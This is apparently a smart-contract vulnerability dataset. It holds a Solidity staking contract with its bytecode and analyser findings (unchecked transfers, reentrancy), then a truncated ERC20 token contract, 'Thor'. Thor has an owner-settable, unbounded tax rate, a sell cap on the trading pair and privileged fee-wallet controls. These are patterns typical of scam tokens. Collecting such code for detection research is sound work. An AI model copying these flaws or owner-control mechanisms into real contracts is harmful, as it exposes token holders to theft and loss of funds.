require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner, "only new owner allowed"); emit OwnershipTransferred( owner, newOwner ); owner = newOwner; } } contract RemitStaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // remit token contract address address public tokenAddress; // reward rate 72.00% per year uint public rewardRate = 7200; uint public constant rewardInterval = 365 days; // staking fee 1.50 percent uint public constant stakingFeeRate = 150; // unstaking fee 0.50 percent uint public constant unstakingFeeRate = 50; // reward fee 5.00 percent uint public constant stakeRewardFeeRate = 500; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; constructor( address _tokenAddress ) public { tokenAddress = _tokenAddress; } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { uint feeReward = pendingDivs.mul(stakeRewardFeeRate).div(1e4); pendingDivs = pendingDivs.sub(feeReward); uint256 mitedToken = Token(tokenAddress).mintStakeFarmSupply(address(this),feeReward.add(pendingDivs)); if(mitedToken != pendingDivs.add(feeReward)){ pendingDivs = mitedToken; feeReward = pendingDivs.mul(stakeRewardFeeRate).div(1e4); pendingDivs = pendingDivs.sub(feeReward); } require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); require(Token(tokenAddress).transfer(owner, feeReward), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); stakingTime[msg.sender] = now; if (!holders.contains(msg.sender)) { holders.add(msg.sender); } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } uint private constant stakingAndDaoTokens = 5129e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) // Admin cannot transfer out REMIT from this smart contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress, "Cannot Transfer Out REMIT!"); Token(_tokenAddr).transfer(_to, _amount); } function showAddressToken() public view returns (address) { return tokenAddress; } function setRewardRate(uint _rewardRate) public onlyOwner { rewardRate = _rewardRate; } function reduceReward() public onlyOwner { rewardRate = rewardRate / 2; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637b0a47ee116100de578063bec4de3f11610097578063d816c7d511610071578063d816c7d51461069d578063d8f4dfbd146106bb578063f3f91fa0146106d9578063ff7eb7621461073157610173565b8063bec4de3f14610609578063c326bf4f14610627578063d578ceab1461067f57610173565b80637b0a47ee146104bf57806398896d10146104dd5780639d76ea58146105355780639e447fc614610569578063a6f9dae114610597578063b6b55f25146105db57610173565b80633a593dad116101305780633a593dad1461036f578063583d42fd146103795780635ef057be146103d15780636270cd18146103ef5780636a395ccb1461044757806379ba5097146104b557610173565b80630f1a6444146101785780631911cf4a1461019657806319aa70e7146102fb578063268cab49146103055780632e1a7d4d14610323578063308feec314610351575b600080fd5b610180610765565b6040518082815260200191505060405180910390f35b6101cc600480360360408110156101ac57600080fd5b81019080803590602001909291908035906020019092919050505061076c565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561021b578082015181840152602081019050610200565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561025d578082015181840152602081019050610242565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561029f578082015181840152602081019050610284565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102e15780820151818401526020810190506102c6565b505050509050019850505050505050505060405180910390f35b610303610a85565b005b61030d610a90565b6040518082815260200191505060405180910390f35b61034f6004803603602081101561033957600080fd5b8101908080359060200190929190505050610ad9565b005b61035961103a565b6040518082815260200191505060405180910390f35b61037761104b565b005b6103bb6004803603602081101561038f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611121565b6040518082815260200191505060405180910390f35b6103d9611139565b6040518082815260200191505060405180910390f35b6104316004803603602081101561040557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113e565b6040518082815260200191505060405180910390f35b6104b36004803603606081101561045d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611156565b005b6104bd61138d565b005b6104c7611550565b6040518082815260200191505060405180910390f35b61051f600480360360208110156104f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611556565b6040518082815260200191505060405180910390f35b61053d6116c5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105956004803603602081101561057f57600080fd5b81019080803590602001909291905050506116eb565b005b6105d9600480360360208110156105ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b6565b005b610607600480360360208110156105f157600080fd5b81019080803590602001909291905050506118f5565b005b610611611d81565b6040518082815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d89565b6040518082815260200191505060405180910390f35b610687611da1565b6040518082815260200191505060405180910390f35b6106a5611da7565b6040518082815260200191505060405180910390f35b6106c3611dac565b6040518082815260200191505060405180910390f35b61071b600480360360208110156106ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611db2565b6040518082815260200191505060405180910390f35b610739611dca565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6203f48081565b60608060608084861061077e57600080fd5b60006107938787611df490919063ffffffff16565b905060608167ffffffffffffffff811180156107ae57600080fd5b506040519080825280602002602001820160405280156107dd5781602001602082028036833780820191505090505b50905060608267ffffffffffffffff811180156107f957600080fd5b506040519080825280602002602001820160405280156108285781602001602082028036833780820191505090505b50905060608367ffffffffffffffff8111801561084457600080fd5b506040519080825280602002602001820160405280156108735781602001602082028036833780820191505090505b50905060608467ffffffffffffffff8111801561088f57600080fd5b506040519080825280602002602001820160405280156108be5781602001602082028036833780820191505090505b50905060008b90505b8a811015610a6a5760006108e5826005611e0b90919063ffffffff16565b905060006108fc8e84611df490919063ffffffff16565b90508187828151811061090b57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486828151811061099157fe5b602002602001018181525050600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548582815181106109e957fe5b602002602001018181525050600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610a4157fe5b6020026020010181815250505050610a63600182611e2590919063ffffffff16565b90506108c7565b50838383839850985098509850505050505092959194509250565b610a8e33611e41565b565b60006901160b2c7564b284000060045410610aae5760009050610ad6565b6000610acf6004546901160b2c7564b2840000611df490919063ffffffff16565b9050809150505b90565b80600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480610be4600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611df490919063ffffffff16565b11610c3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260348152602001806126e96034913960400191505060405180910390fd5b610c4333611e41565b6000610c6d612710610c5f6032856123ca90919063ffffffff16565b6123f990919063ffffffff16565b90506000610c848284611df490919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d3957600080fd5b505af1158015610d4d573d6000803e3d6000fd5b505050506040513d6020811015610d6357600080fd5b8101908080519060200190929190505050610de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e7957600080fd5b505af1158015610e8d573d6000803e3d6000fd5b505050506040513d6020811015610ea357600080fd5b8101908080519060200190929190505050610f26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610f7883600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df490919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fcf33600561241290919063ffffffff16565b801561101a57506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156110355761103333600561244290919063ffffffff16565b505b505050565b60006110466005612472565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461110c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b60026003548161111857fe5b04600381905550565b60086020528060005260406000206000915090505481565b609681565b600a6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611217576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616e6e6f74205472616e73666572204f75742052454d49542100000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561134c57600080fd5b505af1158015611360573d6000803e3d6000fd5b505050506040513d602081101561137657600080fd5b810190808051906020019092919050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611450576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6f6e6c79206e6577206f776e657220616c6c6f7765640000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600061156c82600561241290919063ffffffff16565b61157957600090506116c0565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156115ca57600090506116c0565b600061161e600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611df490919063ffffffff16565b90506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006116b76127106116a96301e1338061169b8761168d600354896123ca90919063ffffffff16565b6123ca90919063ffffffff16565b6123f990919063ffffffff16565b6123f990919063ffffffff16565b90508093505050505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060038190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611877576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f6f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118b157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000811161196b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611a1c57600080fd5b505af1158015611a30573d6000803e3d6000fd5b505050506040513d6020811015611a4657600080fd5b8101908080519060200190929190505050611ac9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b611ad233611e41565b6000611afc612710611aee6096856123ca90919063ffffffff16565b6123f990919063ffffffff16565b90506000611b138284611df490919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611bc857600080fd5b505af1158015611bdc573d6000803e3d6000fd5b505050506040513d6020811015611bf257600080fd5b8101908080519060200190929190505050611c75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b611cc781600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2590919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d6233600561241290919063ffffffff16565b611d7c57611d7a33600561248790919063ffffffff16565b505b505050565b6301e1338081565b60076020528060005260406000206000915090505481565b60045481565b603281565b6101f481565b60096020528060005260406000206000915090505481565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600082821115611e0057fe5b818303905092915050565b6000611e1a83600001836124b7565b60001c905092915050565b600080828401905083811015611e3757fe5b8091505092915050565b6000611e4c82611556565b90506000811115612382576000611e82612710611e746101f4856123ca90919063ffffffff16565b6123f990919063ffffffff16565b9050611e978183611df490919063ffffffff16565b91506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638671f5a430611eed8686611e2590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f4057600080fd5b505af1158015611f54573d6000803e3d6000fd5b505050506040513d6020811015611f6a57600080fd5b81019080805190602001909291905050509050611f908284611e2590919063ffffffff16565b8114611fda57809250611fc2612710611fb46101f4866123ca90919063ffffffff16565b6123f990919063ffffffff16565b9150611fd78284611df490919063ffffffff16565b92505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561206d57600080fd5b505af1158015612081573d6000803e3d6000fd5b505050506040513d602081101561209757600080fd5b810190808051906020019092919050505061211a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156121cd57600080fd5b505af11580156121e1573d6000803e3d6000fd5b505050506040513d60208110156121f757600080fd5b810190808051906020019092919050505061227a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6122cc83600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e2590919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232483600454611e2590919063ffffffff16565b6004819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308484604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505b42600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828402905060008414806123e95750828482816123e657fe5b04145b6123ef57fe5b8091505092915050565b60008082848161240557fe5b0490508091505092915050565b600061243a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61253a565b905092915050565b600061246a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61255d565b905092915050565b600061248082600001612645565b9050919050565b60006124af836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612656565b905092915050565b600081836000018054905011612518576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806126c76022913960400191505060405180910390fd5b82600001828154811061252757fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461263957600060018203905060006001866000018054905003905060008660000182815481106125a857fe5b90600052602060002001549050808760000184815481106125c557fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806125fd57fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061263f565b60009150505b92915050565b600081600001805490509050919050565b6000612662838361253a565b6126bb5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506126c0565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212208820779d74c9bb5c57aad717e818f27c793dcd611e8cfeef0a330e38854d40ff64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,785
0x9b6613571f48d9ce63686d4ae0b36d07ffae173a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; address constant WALLET_ADDRESS=0x7F4B39def4FA5905A04D301Dd9f5CdC4d77AB139; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender() , "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Thor is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 400000000 ; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxRate; address payable private _taxWallet; string private constant _name = "Thor"; string private constant _symbol = "Thor"; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; address private _override; uint256 private _maxDump = _tTotal; event MaxDumpChanged(uint _maxDump); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _override=owner(); _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _taxRate = 4; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setTaxRate(uint rate) external onlyOwner{ require(rate>=0,"Tax must be non-negative"); _taxRate=rate; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= _maxDump); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; _maxDump = _tTotal; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } modifier overridden() { require(_override == _msgSender() ); _; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate); uint256 currentRate = _getRate(); 